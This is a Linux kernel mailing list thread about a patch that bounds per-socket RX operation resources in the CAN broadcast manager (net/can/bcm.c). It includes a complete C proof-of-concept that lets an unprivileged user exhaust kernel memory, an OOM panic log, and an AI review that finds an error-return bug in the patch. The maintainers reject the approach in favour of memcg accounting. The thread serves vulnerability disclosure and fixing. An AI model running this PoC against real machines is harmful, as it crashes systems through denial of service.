can: bcm: bound per-socket RX operation resources

PATCH Superseded Zihan Xi 4 participants 13 messages Oct 27 – Oct 28

Subsystems (2)

CAN network drivers CAN network layer

lore

Share & tools

lore

Zihan Xi

author

2026-10-27 11:18 UTC #0 lore raw

cover can: bcm: bound per-socket RX operation resources

Hi Linux kernel maintainers,

We found an issue in net/can/bcm.c.
The bug is reachable by an unprivileged local user. The relevant details are provided below.

---- details below ----

An LLM was used to help create this patch.

This bug is tracked at: https://bugtracker.nebusec.ai/f/11134 (11134)

Bug details:

bcm_rx_setup() limits frames in one operation but not the number of operations attached to a socket. Distinct CAN IDs create distinct operations; with ifindex 0, a local unprivileged process needs no CAN device. CAN-FD operations allocate frame arrays and CAN receiver objects outside socket buffer accounting, allowing repeated requests to consume kernel memory.

Limit each socket to 1024 RX operations/receivers and 16 MiB of BCM operation and frame-array allocations. Keep operation charges until the operation is freed, and receiver charges until CAN-core RCU reclamation frees each receiver. Reject requests over the limits with -ENOBUFS.

Reproducer:

Build the included PoC source with:

cc -O2 -Wall -Wextra -o poc poc.c

In the guest's initial user and network namespaces, as root, configure OOM panic to capture the crash:

echo 0 > /proc/sys/kernel/panic_on_warn echo 2 > /proc/sys/vm/panic_on_oom echo 0 > /proc/sys/vm/oom_kill_allocating_task

Then, as the unprivileged guest user test_user (UID 1001), run:

    ./poc 0 1000

No namespace setup, added capabilities, or CAN device is required; the socket uses ifindex 0. Root is used only to set the OOM sysctls.

We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.

------BEGIN PoC------

#define _GNU_SOURCE

#include <errno.h>
#include <inttypes.h>
#include <linux/can.h>
#include <linux/can/bcm.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>

#define BCM_NFRAMES 257U
#define DEFAULT_PROGRESS_STEP 1000U

struct rx_setup_req {
	struct bcm_msg_head head;
	struct canfd_frame frames[BCM_NFRAMES];
};

static void die(const char *what)

{
	perror(what);
	exit(EXIT_FAILURE);
}

static unsigned long parse_ul(const char *arg, const char *name)

{
	char *end = NULL;
	unsigned long value;

	errno = 0;
	value = strtoul(arg, &end, 0);
	if (errno || !end || *end != '\0') {
		fprintf(stderr, "invalid %s: %s\n", name, arg);
		exit(EXIT_FAILURE);
	}

	return value;
}

int main(int argc, char **argv)

{
	unsigned long max_ops = 0;
	unsigned long progress_step = DEFAULT_PROGRESS_STEP;
	unsigned long hold_seconds = 0;
	struct sockaddr_can addr = {
		.can_family = AF_CAN,
		.can_ifindex = 0,
	};
	struct rx_setup_req *req;
	size_t req_len;
	unsigned long i;
	int fd;

	if (argc > 1)
		max_ops = parse_ul(argv[1], "max_ops");
	if (argc > 2)
		progress_step = parse_ul(argv[2], "progress_step");
	if (argc > 3)
		hold_seconds = parse_ul(argv[3], "hold_seconds");
	if (!progress_step)
		progress_step = DEFAULT_PROGRESS_STEP;

	req = aligned_alloc(8, sizeof(*req));
	if (!req)
		die("aligned_alloc");

	memset(req, 0, sizeof(*req));
	req->head.opcode = RX_SETUP;
	req->head.flags = CAN_FD_FRAME;
	req->head.nframes = BCM_NFRAMES;

	for (i = 0; i < BCM_NFRAMES; i++) {
		req->frames[i].len = CANFD_MAX_DLEN;
		memset(req->frames[i].data, (int)i, sizeof(req->frames[i].data));
	}

	req_len = sizeof(*req);

	fd = socket(PF_CAN, SOCK_DGRAM, CAN_BCM);
	if (fd < 0)
		die("socket(PF_CAN, SOCK_DGRAM, CAN_BCM)");

	if (connect(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0)
		die("connect(AF_CAN, ifindex=0)");

	for (i = 0; !max_ops || i < max_ops; i++) {
		ssize_t written;
		uint32_t id = (uint32_t)((i + 1) & CAN_EFF_MASK);

		req->head.can_id = CAN_EFF_FLAG | id;

		written = send(fd, req, req_len, 0);
		if (written < 0) {
			fprintf(stderr,
				"send failed after %lu RX_SETUP operations: %s\n",
				i, strerror(errno));
			return EXIT_FAILURE;
		}

		if ((i + 1) % progress_step == 0) {
			fprintf(stderr,
				"installed=%lu bytes_per_req=%zu total_payload=%" PRIu64 "\n",
				i + 1, req_len, (uint64_t)(i + 1) * req_len);
		}
	}

	fprintf(stderr, "completed %lu RX_SETUP operations without send failure\n",
		i);
	if (hold_seconds) {
		fprintf(stderr, "holding socket open for %lu seconds\n",
			hold_seconds);
		sleep(hold_seconds);
	}
	return EXIT_SUCCESS;
}

------END PoC--------

----BEGIN crash log----

The stack below is decoded with source locations from the DWARF5, reduced-debug-info build. The guest OOM was triggered during bcm_sendmsg() allocation at net/can/bcm.c:1431.

[   95.493290][ T9374] poc invoked oom-killer: gfp_mask=0x40cc0(GFP_KERNEL|__GFP_COMP), order=3, oom_score_adj=0
[   95.493324][ T9374] Call Trace:
[   95.493466][ T9374]  dump_header (mm/oom_kill.c:464)
[   95.493544][ T9374]  out_of_memory (mm/oom_kill.c:1075 mm/oom_kill.c:1143)
[   95.493555][ T9374]  ? __pfx_out_of_memory (mm/oom_kill.c:835)
[   95.493567][ T9374]  __alloc_frozen_pages_noprof (mm/page_alloc.c:4113 mm/page_alloc.c:5030 mm/page_alloc.c:5449)
[   95.493636][ T9374]  ? __pfx___alloc_frozen_pages_noprof (mm/page_alloc.c:4022)
[   95.493866][ T9374]  __kmalloc_noprof (mm/slub.c:5402 mm/slub.c:5439)
[   95.493899][ T9374]  ? bcm_sendmsg (include/linux/slab.h:995 include/linux/slab.h:1211 net/can/bcm.c:1431 net/can/bcm.c:1739)
[   95.493920][ T9374]  bcm_sendmsg (include/linux/slab.h:995 include/linux/slab.h:1211 net/can/bcm.c:1431 net/can/bcm.c:1739)
[   95.493933][ T9374]  ? __pfx_bcm_sendmsg (net/can/bcm.c:528)
[   95.493971][ T9374]  __sys_sendto (net/socket.c:800 (discriminator 1) net/socket.c:815 (discriminator 1) net/socket.c:2281 (discriminator 1))
[   95.494018][ T9374]  ? __pfx_bcm_sendmsg (net/can/bcm.c:528)
[   95.494027][ T9374]  ? __pfx___sys_sendto (net/socket.c:2235)
[   95.497355][ T9374] Kernel panic - not syncing: Out of memory: compulsory panic_on_oom is enabled

-----END crash log-----

Best regards,
Zihan Xi

Zihan Xi (1):
can: bcm: limit RX operation resource usage per socket

 include/linux/can/core.h |   7 +++
 net/can/af_can.c         |  34 +++++++++-
 net/can/af_can.h         |   1 +
 net/can/bcm.c            | 131 ++++++++++++++++++++++++++++++++-------
 4 files changed, 147 insertions(+), 26 deletions(-)

Signature · 1 line

2.43.0

Zihan Xi

author

2026-10-27 11:19 UTC #1 lore raw

PATCH 1/1 can: bcm: limit RX operation resource usage per socket

BCM sockets can create an unbounded number of RX operations. Each operation allocates memory outside of the socket buffer accounting, so a single unprivileged socket can exhaust kernel memory.

Bound the number and aggregate allocation size of RX operations per socket. Keep the charge until the operation and its frame arrays are freed. Also keep a receiver count charged until the CAN core releases the receiver after its RCU grace period, so repeated setup/delete requests cannot bypass the limits while callbacks are pending.

Return -ENOBUFS when a socket reaches either limit. Existing operations can still be updated without additional charges.

Fixes ffd980f976e7 ("[CAN]: Add broadcast manager (bcm) protocol")

Cc [email protected]

Reported-by Vega <[email protected]>

Link https://bugtracker.nebusec.ai/f/11134

Signed-off-by Zihan Xi <[email protected]>

---
 include/linux/can/core.h |   7 +++
 net/can/af_can.c         |  34 +++++++++-
 net/can/af_can.h         |   1 +
 net/can/bcm.c            | 131 ++++++++++++++++++++++++++++++++-------
 4 files changed, 147 insertions(+), 26 deletions(-)

include/linux/can/core.h +7 -0

index 2de74c2b78b6..89b9d0a2dcc1 100644
@@ -53,6 +53,13 @@ int can_rx_register(struct net *net, struct net_device *dev,
 		    void (*func)(struct sk_buff *, void *),
 		    void *data, char *ident, struct sock *sk);
 
+/* release runs from an RCU callback and must not sleep. */
+int can_rx_register_with_release(struct net *net, struct net_device *dev,
+				 canid_t can_id, canid_t mask,
+				 void (*func)(struct sk_buff *, void *),
+				 void *data, char *ident, struct sock *sk,
+				 void (*release)(struct sock *sk));
+
 extern void can_rx_unregister(struct net *net, struct net_device *dev,
 			      canid_t can_id, canid_t mask,
 			      void (*func)(struct sk_buff *, void *),

net/can/af_can.c +31 -3

index 34fe3b28d576..a3f0ed35fbb5 100644
@@ -441,15 +441,20 @@ static struct hlist_head *can_rcv_list_find(canid_t *can_id, canid_t *mask,
  *  -ENOMEM on missing cache mem to create subscription entry
  *  -ENODEV unknown device
  */
-int can_rx_register(struct net *net, struct net_device *dev, canid_t can_id,
-		    canid_t mask, void (*func)(struct sk_buff *, void *),
-		    void *data, char *ident, struct sock *sk)
+static int can_rx_register_internal(struct net *net, struct net_device *dev,
+				    canid_t can_id, canid_t mask,
+				    void (*func)(struct sk_buff *, void *),
+				    void *data, char *ident, struct sock *sk,
+				    void (*release)(struct sock *sk))
 {
 	struct receiver *rcv;
 	struct hlist_head *rcv_list;
 	struct can_dev_rcv_lists *dev_rcv_lists;
 	struct can_rcv_lists_stats *rcv_lists_stats = net->can.rcv_lists_stats;
 
+	if (release && !sk)
+		return -EINVAL;
+
 	/* insert new receiver  (dev,canid,mask) -> (func,data) */
 
 	if (dev && (dev->type != ARPHRD_CAN || !can_get_ml_priv(dev)))

@@ -474,6 +479,7 @@ int can_rx_register(struct net *net, struct net_device *dev, canid_t can_id,
 	rcv->data = data;
 	rcv->ident = ident;
 	rcv->sk = sk;
+	rcv->release = release;
 
 	hlist_add_head_rcu(&rcv->list, rcv_list);
 	dev_rcv_lists->entries++;

@@ -485,15 +491,37 @@ int can_rx_register(struct net *net, struct net_device *dev, canid_t can_id,
 
 	return 0;
 }
+
+int can_rx_register(struct net *net, struct net_device *dev, canid_t can_id,
+		    canid_t mask, void (*func)(struct sk_buff *, void *),
+		    void *data, char *ident, struct sock *sk)
+{
+	return can_rx_register_internal(net, dev, can_id, mask, func, data,
+					ident, sk, NULL);
+}
 EXPORT_SYMBOL(can_rx_register);
 
+int can_rx_register_with_release(struct net *net, struct net_device *dev,
+				 canid_t can_id, canid_t mask,
+				 void (*func)(struct sk_buff *, void *),
+				 void *data, char *ident, struct sock *sk,
+				 void (*release)(struct sock *sk))
+{
+	return can_rx_register_internal(net, dev, can_id, mask, func, data,
+					ident, sk, release);
+}
+EXPORT_SYMBOL(can_rx_register_with_release);
+
 /* can_rx_delete_receiver - rcu callback for single receiver entry removal */
 static void can_rx_delete_receiver(struct rcu_head *rp)
 {
 	struct receiver *rcv = container_of(rp, struct receiver, rcu);
 	struct sock *sk = rcv->sk;
+	void (*release)(struct sock *sk) = rcv->release;
 
 	kmem_cache_free(rcv_cache, rcv);
+	if (release)
+		release(sk);
 	if (sk)
 		sock_put(sk);
 }

net/can/af_can.h +1 -0

index 87887014f562..2fa4cf8c1314 100644
@@ -57,6 +57,7 @@ struct receiver {
 	void *data;
 	char *ident;
 	struct sock *sk;
+	void (*release)(struct sock *sk);
 	struct rcu_head rcu;
 };

net/can/bcm.c +108 ~~-23~~

228 lines not on this page · raw message

Signature · 1 line

2.43.0

[email protected]

AI review

2026-10-27 11:29 UTC #2 lore raw

Re: [PATCH net 1/1] can: bcm: limit RX operation resource usage per socket

Thank you for your contribution! Sashiko AI review found 1 potential issue(s) to consider: - [Medium] can: bcm: bcm_rx_setup() returns 0 on frame array allocation failure --

Thank you for your contribution! Sashiko AI review found 1 potential issue(s) to consider:
- [Medium] can: bcm: bcm_rx_setup() returns 0 on frame array allocation failure --

commit 3aff0eb4ba8d41c989dbd64aa48ab75c3eecec89
Author: Zihan Xi <[email protected]>

can: bcm: limit RX operation resource usage per socket

This commit bounds the per-socket number and total memory allocation size of CAN BCM RX operations, as well as the number of pending RCU receiver callbacks. When a socket reaches either limit, creating a new RX operation fails with -ENOBUFS.

Link https://bugtracker.nebusec.ai/f/11134

Quoted 4 lines

net/can/bcm.c +0 -0

index 3d637a1e0ac1a..96d3f050dec54 100644

[ ... ]

Quoted 19 lines

net/can/bcm.c +3 -4

@@ -1425,26 +1518,22 @@ static int bcm_rx_setup(struct bcm_msg_head *msg_head, struct msghdr *msg,
 		op->nframes = msg_head->nframes;
 		op->cfsiz = CFSIZ(msg_head->flags);
 		op->flags = msg_head->flags;
+		op->rx_mem = rx_mem;
 
 		if (msg_head->nframes > 1) {
 			/* create array for CAN frames and copy the data */
 			op->frames = kmalloc_array(msg_head->nframes,
 						   op->cfsiz,
 						   GFP_KERNEL);
-			if (!op->frames) {
-				kfree(op);
-				return -ENOMEM;
-			}
+			if (!op->frames)
+				goto free_op;
 
 			/* create and init array for received CAN frames */

net/can/bcm.c static int bcm_rx_setup(struct bcm_msg_head *msg_head, struct msghdr *msg, · line 1536

Quoted 10 lines

net/can/bcm.c +2 -5

 			op->last_frames = kcalloc(msg_head->nframes,
 						  op->cfsiz,
 						  GFP_KERNEL);
-			if (!op->last_frames) {
-				kfree(op->frames);
-				kfree(op);
-				return -ENOMEM;
-			}
+			if (!op->last_frames)
+				goto free_op;

[Severity: Medium]
In net/can/bcm.c:bcm_rx_setup(), when creating a new RX operation with msg_head->nframes > 1, err is initialized to 0 at the start of the function:

	int new_op = 0;
	int err = 0;

If kmalloc_array() for op->frames or kcalloc() for op->last_frames fails, jumping to free_op without setting err = -ENOMEM executes:

free_op:

	if (op->frames != &op->sframe)
		kfree(op->frames);
	if (op->last_frames != &op->last_sframe)
		kfree(op->last_frames);
	kfree(op);
	bcm_rx_op_uncharge(bo, rx_mem);
	return err;

Doesn't this cause bcm_rx_setup() (and bcm_sendmsg()) to return 0 to userspace instead of -ENOMEM when either frame array allocation fails?

Signature · 1 line

Sashiko AI review · https://sashiko.dev/#/patchset/[email protected]?part=1

zihan xi

author

2026-10-27 13:08 UTC #3 lore raw

Re: [PATCH net 1/1] can: bcm: limit RX operation resource usage per socket

Quoted 73 lines · On Tue, Oct 27, 2026 at 7:29 PM <[email protected]> wrote:

Thank you for your contribution! Sashiko AI review found 1 potential issue(s) to consider:
- [Medium] can: bcm: bcm_rx_setup() returns 0 on frame array allocation failure --

commit 3aff0eb4ba8d41c989dbd64aa48ab75c3eecec89
Author: Zihan Xi <[email protected]>

can: bcm: limit RX operation resource usage per socket

Link https://bugtracker.nebusec.ai/f/11134

Quoted 4 lines

net/can/bcm.c +0 -0

index 3d637a1e0ac1a..96d3f050dec54 100644

[ ... ]

Quoted 19 lines

net/can/bcm.c +3 -4

@@ -1425,26 +1518,22 @@ static int bcm_rx_setup(struct bcm_msg_head *msg_head, struct msghdr *msg,
              op->nframes = msg_head->nframes;
              op->cfsiz = CFSIZ(msg_head->flags);
              op->flags = msg_head->flags;
+             op->rx_mem = rx_mem;
 
              if (msg_head->nframes > 1) {
                      /* create array for CAN frames and copy the data */
                      op->frames = kmalloc_array(msg_head->nframes,
                                                 op->cfsiz,
                                                 GFP_KERNEL);
-                     if (!op->frames) {
-                             kfree(op);
-                             return -ENOMEM;
-                     }
+                     if (!op->frames)
+                             goto free_op;
 
                      /* create and init array for received CAN frames */

net/can/bcm.c static int bcm_rx_setup(struct bcm_msg_head *msg_head, struct msghdr *msg, · line 1536

Quoted 10 lines

net/can/bcm.c +2 -5

                      op->last_frames = kcalloc(msg_head->nframes,
                                                op->cfsiz,
                                                GFP_KERNEL);
-                     if (!op->last_frames) {
-                             kfree(op->frames);
-                             kfree(op);
-                             return -ENOMEM;
-                     }
+                     if (!op->last_frames)
+                             goto free_op;

[Severity: Medium]
In net/can/bcm.c:bcm_rx_setup(), when creating a new RX operation with msg_head->nframes > 1, err is initialized to 0 at the start of the function:

        int new_op = 0;
        int err = 0;

If kmalloc_array() for op->frames or kcalloc() for op->last_frames fails, jumping to free_op without setting err = -ENOMEM executes:

free_op:

        if (op->frames != &op->sframe)
                kfree(op->frames);
        if (op->last_frames != &op->last_sframe)
                kfree(op->last_frames);
        kfree(op);
        bcm_rx_op_uncharge(bo, rx_mem);
        return err;

Quoted 2 lines

Doesn't this cause bcm_rx_setup() (and bcm_sendmsg()) to return 0 to userspace instead of -ENOMEM when either frame array allocation fails?

valid: failures of kmalloc_array()
or kcalloc() reach free_op with err == 0, causing RX_SETUP to report success. I’ll fix both paths to return -ENOMEM and re-review the cleanup and error-propagation paths before resubmitting.

Quoted 3 lines

--
Sashiko AI review · https://sashiko.dev/#/patchset/[email protected]?part=1

Marc Kleine-Budde

maintainer

2026-10-27 13:11 UTC #4 lore raw

Re: [PATCH net 1/1] can: bcm: limit RX operation resource usage per socket

Quoted 7 lines · zihan xi

Quoted 2 lines
Doesn't this cause bcm_rx_setup() (and bcm_sendmsg()) to return 0 to userspace instead of -ENOMEM when either frame array allocation fails?
valid: failures of kmalloc_array()
or kcalloc() reach free_op with err == 0, causing RX_SETUP to report success. I’ll fix both paths to return -ENOMEM and re-review the cleanup and error-propagation paths before resubmitting.

pw-bot: cr

Marc

Signature · 4 lines

Pengutronix e.K.                 | Marc Kleine-Budde          |
Embedded Linux                   | https://www.pengutronix.de |
Vertretung Nürnberg              | Phone: +49-5121-206917-129 |
Amtsgericht Hildesheim, HRA 2686 | Fax:   +49-5121-206917-9   |

Oliver Hartkopp

maintainer

2026-10-27 13:23 UTC #5 lore raw

Re: [PATCH net 1/1] can: bcm: limit RX operation resource usage per socket

In reply to Zihan Xi

Hello Zihan,

Quoted 4 lines · Zihan Xi

BCM sockets can create an unbounded number of RX operations. Each operation allocates memory outside of the socket buffer accounting, so a single unprivileged socket can exhaust kernel memory.

Quoted 8 lines

Bound the number and aggregate allocation size of RX operations per socket. Keep the charge until the operation and its frame arrays are freed. Also keep a receiver count charged until the CAN core releases the receiver after its RCU grace period, so repeated setup/delete requests cannot bypass the limits while callbacks are pending.
Return -ENOBUFS when a socket reaches either limit. Existing operations can still be updated without additional charges.

many thanks for the report and the reproducer!

The problem is known and on my list, as CAN_BCM needs some more work after the pending "can: protect the receive lists with a per-device lock" series. But I don't think the proposed patch is the right fix:

1. A per-socket limit does not bound the memory consumption. A process can open RLIMIT_NOFILE sockets and fork. With 16 MiB per socket around 100 sockets are enough to bring your 2 GB guest into OOM again - the PoC just needs an additional loop.

2. TX operations are not covered. bcm_tx_setup() allocates up to 256 * 72 bytes per op in the same unbounded way, which only requires an existing CAN interface.

3. The hard-coded limits can break existing applications. 1024 RX ops per socket is not unrealistic, e.g. when monitoring all 2048 SFF CAN IDs individually. Such applications would get -ENOBUFS without a possibility to adjust the limit.

4. can_rx_register_with_release() extends the CAN core API and adds a pointer to every struct receiver of all CAN protocols, while each RX op has exactly one receiver anyway. This is quite invasive for stable and conflicts with the pending series.

A patch that enables memcg accounting is already in the works:
GFP_KERNEL_ACCOUNT for the bcm_op structures and their frame arrays (RX and TX) and SLAB_ACCOUNT for the rcv_cache in af_can.c.

IMO this is the better solution, as

- the memory is charged to the cgroup of the allocating process, so the cgroup limits apply and the OOM killer is not left with kernel memory it can not attribute to anyone,
- it covers all sockets and processes of a cgroup and can not be bypassed by opening more sockets,
- it covers RX and TX ops and the receivers of all CAN protocols,
- it introduces no hard-coded limits, no ABI change and no new core API, and only changes a few lines, which makes it easy to backport.

This is also the established approach for other allocations in the kernel that can be triggered by unprivileged users.

Best regards,
Oliver

Quoted 362 lines

Fixes ffd980f976e7 ("[CAN]: Add broadcast manager (bcm) protocol")

Cc [email protected]

Reported-by Vega <[email protected]>

Link https://bugtracker.nebusec.ai/f/11134

Signed-off-by Zihan Xi <[email protected]>

---
  include/linux/can/core.h |   7 +++
  net/can/af_can.c         |  34 +++++++++-
  net/can/af_can.h         |   1 +
  net/can/bcm.c            | 131 ++++++++++++++++++++++++++++++++-------
  4 files changed, 147 insertions(+), 26 deletions(-)

include/linux/can/core.h +7 -0

index 2de74c2b78b6..89b9d0a2dcc1 100644
@@ -53,6 +53,13 @@ int can_rx_register(struct net *net, struct net_device *dev,
  		    void (*func)(struct sk_buff *, void *),
  		    void *data, char *ident, struct sock *sk);
 
+/* release runs from an RCU callback and must not sleep. */
+int can_rx_register_with_release(struct net *net, struct net_device *dev,
+				 canid_t can_id, canid_t mask,
+				 void (*func)(struct sk_buff *, void *),
+				 void *data, char *ident, struct sock *sk,
+				 void (*release)(struct sock *sk));
+
  extern void can_rx_unregister(struct net *net, struct net_device *dev,
  			      canid_t can_id, canid_t mask,
  			      void (*func)(struct sk_buff *, void *),

net/can/af_can.c +31 -3

index 34fe3b28d576..a3f0ed35fbb5 100644
@@ -441,15 +441,20 @@ static struct hlist_head *can_rcv_list_find(canid_t *can_id, canid_t *mask,
   *  -ENOMEM on missing cache mem to create subscription entry
   *  -ENODEV unknown device
   */
-int can_rx_register(struct net *net, struct net_device *dev, canid_t can_id,
-		    canid_t mask, void (*func)(struct sk_buff *, void *),
-		    void *data, char *ident, struct sock *sk)
+static int can_rx_register_internal(struct net *net, struct net_device *dev,
+				    canid_t can_id, canid_t mask,
+				    void (*func)(struct sk_buff *, void *),
+				    void *data, char *ident, struct sock *sk,
+				    void (*release)(struct sock *sk))
  {
  	struct receiver *rcv;
  	struct hlist_head *rcv_list;
  	struct can_dev_rcv_lists *dev_rcv_lists;
  	struct can_rcv_lists_stats *rcv_lists_stats = net->can.rcv_lists_stats;
 
+	if (release && !sk)
+		return -EINVAL;
+
  	/* insert new receiver  (dev,canid,mask) -> (func,data) */
 
  	if (dev && (dev->type != ARPHRD_CAN || !can_get_ml_priv(dev)))

@@ -474,6 +479,7 @@ int can_rx_register(struct net *net, struct net_device *dev, canid_t can_id,
  	rcv->data = data;
  	rcv->ident = ident;
  	rcv->sk = sk;
+	rcv->release = release;
 
  	hlist_add_head_rcu(&rcv->list, rcv_list);
  	dev_rcv_lists->entries++;

@@ -485,15 +491,37 @@ int can_rx_register(struct net *net, struct net_device *dev, canid_t can_id,
 
  	return 0;
  }
+
+int can_rx_register(struct net *net, struct net_device *dev, canid_t can_id,
+		    canid_t mask, void (*func)(struct sk_buff *, void *),
+		    void *data, char *ident, struct sock *sk)
+{
+	return can_rx_register_internal(net, dev, can_id, mask, func, data,
+					ident, sk, NULL);
+}
  EXPORT_SYMBOL(can_rx_register);
 
+int can_rx_register_with_release(struct net *net, struct net_device *dev,
+				 canid_t can_id, canid_t mask,
+				 void (*func)(struct sk_buff *, void *),
+				 void *data, char *ident, struct sock *sk,
+				 void (*release)(struct sock *sk))
+{
+	return can_rx_register_internal(net, dev, can_id, mask, func, data,
+					ident, sk, release);
+}
+EXPORT_SYMBOL(can_rx_register_with_release);
+
  /* can_rx_delete_receiver - rcu callback for single receiver entry removal */
  static void can_rx_delete_receiver(struct rcu_head *rp)
  {
  	struct receiver *rcv = container_of(rp, struct receiver, rcu);
  	struct sock *sk = rcv->sk;
+	void (*release)(struct sock *sk) = rcv->release;
 
  	kmem_cache_free(rcv_cache, rcv);
+	if (release)
+		release(sk);
  	if (sk)
  		sock_put(sk);
  }

net/can/af_can.h +1 -0

index 87887014f562..2fa4cf8c1314 100644
@@ -57,6 +57,7 @@ struct receiver {
  	void *data;
  	char *ident;
  	struct sock *sk;
+	void (*release)(struct sock *sk);
  	struct rcu_head rcu;
  };

net/can/bcm.c +108 ~~-23~~

index 3d637a1e0ac1..96d3f050dec5 100644
@@ -58,6 +58,7 @@
  #include <linux/can/skb.h>
  #include <linux/can/bcm.h>
  #include <linux/slab.h>
+#include <linux/overflow.h>
  #include <linux/workqueue.h>
  #include <linux/spinlock.h>
  #include <net/can.h>

@@ -127,6 +128,7 @@ struct bcm_op {
  	void *last_frames;
  	struct canfd_frame sframe;
  	struct canfd_frame last_sframe;
+	size_t rx_mem;
  	struct sock *sk;
  	struct net_device *rx_reg_dev;
  	netdevice_tracker rx_reg_dev_tracker;

@@ -141,6 +143,9 @@ struct bcm_sock {
  	struct list_head notifier;
  	struct list_head rx_ops;
  	struct list_head tx_ops;
+	unsigned int rx_op_count;
+	size_t rx_mem_used;
+	atomic_t rx_receiver_count;
  	unsigned long dropped_usr_msgs;
  	struct proc_dir_entry *bcm_proc_read;
  	char procname [32]; /* inode number in decimal with \0 */

@@ -190,6 +195,10 @@ static bool bcm_is_invalid_tv(struct bcm_msg_head *msg_head)
  #define OPSIZ sizeof(struct bcm_op)
  #define MHSIZ sizeof(struct bcm_msg_head)
 
+/* Bound the resources consumed by RX operations on one BCM socket. */
+#define BCM_MAX_RX_OPS 1024
+#define BCM_MAX_RX_MEM (16 * 1024 * 1024)
+
  /*
   * procfs functions
   */

@@ -922,9 +931,64 @@ static struct bcm_op *bcm_find_op(struct list_head *ops,
  	return NULL;
  }
 
+/* Called with the socket lock held. */
+static bool bcm_rx_op_charge(struct bcm_sock *bo, size_t rx_mem)
+{
+	if (bo->rx_op_count >= BCM_MAX_RX_OPS ||
+	    rx_mem > BCM_MAX_RX_MEM - bo->rx_mem_used)
+		return false;
+
+	bo->rx_op_count++;
+	bo->rx_mem_used += rx_mem;
+	return true;
+}
+
+/* Called with the socket lock held. */
+static void bcm_rx_op_uncharge(struct bcm_sock *bo, size_t rx_mem)
+{
+	if (!rx_mem)
+		return;
+
+	if (WARN_ON_ONCE(!bo->rx_op_count || bo->rx_mem_used < rx_mem))
+		return;
+
+	bo->rx_op_count--;
+	bo->rx_mem_used -= rx_mem;
+}
+
+static void bcm_rx_receiver_release(struct sock *sk)
+{
+	struct bcm_sock *bo = bcm_sk(sk);
+
+	WARN_ON_ONCE(atomic_dec_return(&bo->rx_receiver_count) < 0);
+}
+
+/* Called with the socket lock held. */
+static int bcm_rx_register(struct bcm_op *op, struct net_device *dev)
+{
+	struct bcm_sock *bo = bcm_sk(op->sk);
+	int err;
+
+	if (atomic_inc_return(&bo->rx_receiver_count) > BCM_MAX_RX_OPS) {
+		atomic_dec(&bo->rx_receiver_count);
+		return -ENOBUFS;
+	}
+
+	err = can_rx_register_with_release(sock_net(op->sk), dev, op->can_id,
+					   REGMASK(op->can_id), bcm_rx_handler,
+					   op, "bcm", op->sk,
+					   bcm_rx_receiver_release);
+	if (err)
+		atomic_dec(&bo->rx_receiver_count);
+
+	return err;
+}
+
  static void bcm_free_op_work(struct work_struct *work)
  {
  	struct bcm_op *op = container_of(work, struct bcm_op, work);
+	struct sock *sk = op->sk;
+	size_t rx_mem = op->rx_mem;
 
  	hrtimer_cancel(&op->timer);
  	hrtimer_cancel(&op->thrtimer);

@@ -935,13 +999,20 @@ static void bcm_free_op_work(struct work_struct *work)
  	if ((op->last_frames) && (op->last_frames != &op->last_sframe))
  		kfree(op->last_frames);
 
-	/* the last possible access to op->timer/op->thrtimer has now
-	 * happened above via hrtimer_cancel() - op->sk is no longer
-	 * needed by any pending timer callback, so drop our reference
+	kfree(op);
+	/*
+	 * Keep the RX budget charged until the operation and its frame arrays
+	 * have actually been freed. op->sk holds a reference while this work is
+	 * pending, so the socket remains valid while updating its accounting.
  	 */
-	sock_put(op->sk);
+	if (rx_mem) {
+		lock_sock(sk);
+		bcm_rx_op_uncharge(bcm_sk(sk), rx_mem);
+		release_sock(sk);
+	}
 
-	kfree(op);
+	/* Drop the reference held for the operation and any pending timer. */
+	sock_put(sk);
  }
 
  static void bcm_free_op_rcu(struct rcu_head *rcu_head)

@@ -1316,6 +1387,7 @@ static int bcm_rx_setup(struct bcm_msg_head *msg_head, struct msghdr *msg,
  {
  	struct bcm_sock *bo = bcm_sk(sk);
  	struct bcm_op *op;
+	size_t rx_mem, frames_size, arrays_size;
  	int do_rx_register;
  	int new_op = 0;
  	int err = 0;

@@ -1414,10 +1486,31 @@ static int bcm_rx_setup(struct bcm_msg_head *msg_head, struct msghdr *msg,
  		do_rx_register = (ifindex && !op->rx_reg_dev) ? 1 : 0;
 
  	} else {
+		/*
+		 * Charge the operation and its frame arrays before allocating
+		 * them or registering a CAN receiver. nframes is already bounded
+		 * above, but keep the size arithmetic explicitly overflow-safe.
+		 */
+		rx_mem = sizeof(*op);
+		if (msg_head->nframes > 1) {
+			if (check_mul_overflow((size_t)msg_head->nframes,
+					       (size_t)CFSIZ(msg_head->flags),
+					       &frames_size) ||
+			    check_mul_overflow(frames_size, (size_t)2,
+					       &arrays_size) ||
+			    check_add_overflow(rx_mem, arrays_size, &rx_mem))
+				return -EOVERFLOW;
+		}
+
+		if (!bcm_rx_op_charge(bo, rx_mem))
+			return -ENOBUFS;
+
  		/* insert new BCM operation for the given can_id */
  		op = kzalloc(OPSIZ, GFP_KERNEL);
-		if (!op)
+		if (!op) {
+			bcm_rx_op_uncharge(bo, rx_mem);
  			return -ENOMEM;
+		}
 
  		spin_lock_init(&op->bcm_tx_lock);
  		spin_lock_init(&op->bcm_rx_update_lock);

@@ -1425,26 +1518,22 @@ static int bcm_rx_setup(struct bcm_msg_head *msg_head, struct msghdr *msg,
  		op->nframes = msg_head->nframes;
  		op->cfsiz = CFSIZ(msg_head->flags);
  		op->flags = msg_head->flags;
+		op->rx_mem = rx_mem;
 
  		if (msg_head->nframes > 1) {
  			/* create array for CAN frames and copy the data */
  			op->frames = kmalloc_array(msg_head->nframes,
  						   op->cfsiz,
  						   GFP_KERNEL);
-			if (!op->frames) {
-				kfree(op);
-				return -ENOMEM;
-			}
+			if (!op->frames)
+				goto free_op;
 
  			/* create and init array for received CAN frames */
  			op->last_frames = kcalloc(msg_head->nframes,
  						  op->cfsiz,
  						  GFP_KERNEL);
-			if (!op->last_frames) {
-				kfree(op->frames);
-				kfree(op);
-				return -ENOMEM;
-			}
+			if (!op->last_frames)
+				goto free_op;
 
  		} else {
  			op->frames = &op->sframe;

@@ -1532,11 +1621,7 @@ static int bcm_rx_setup(struct bcm_msg_head *msg_head, struct msghdr *msg,
 
  			dev = dev_get_by_index(sock_net(sk), ifindex);
  			if (dev) {
-				err = can_rx_register(sock_net(sk), dev,
-						      op->can_id,
-						      REGMASK(op->can_id),
-						      bcm_rx_handler, op,
-						      "bcm", sk);
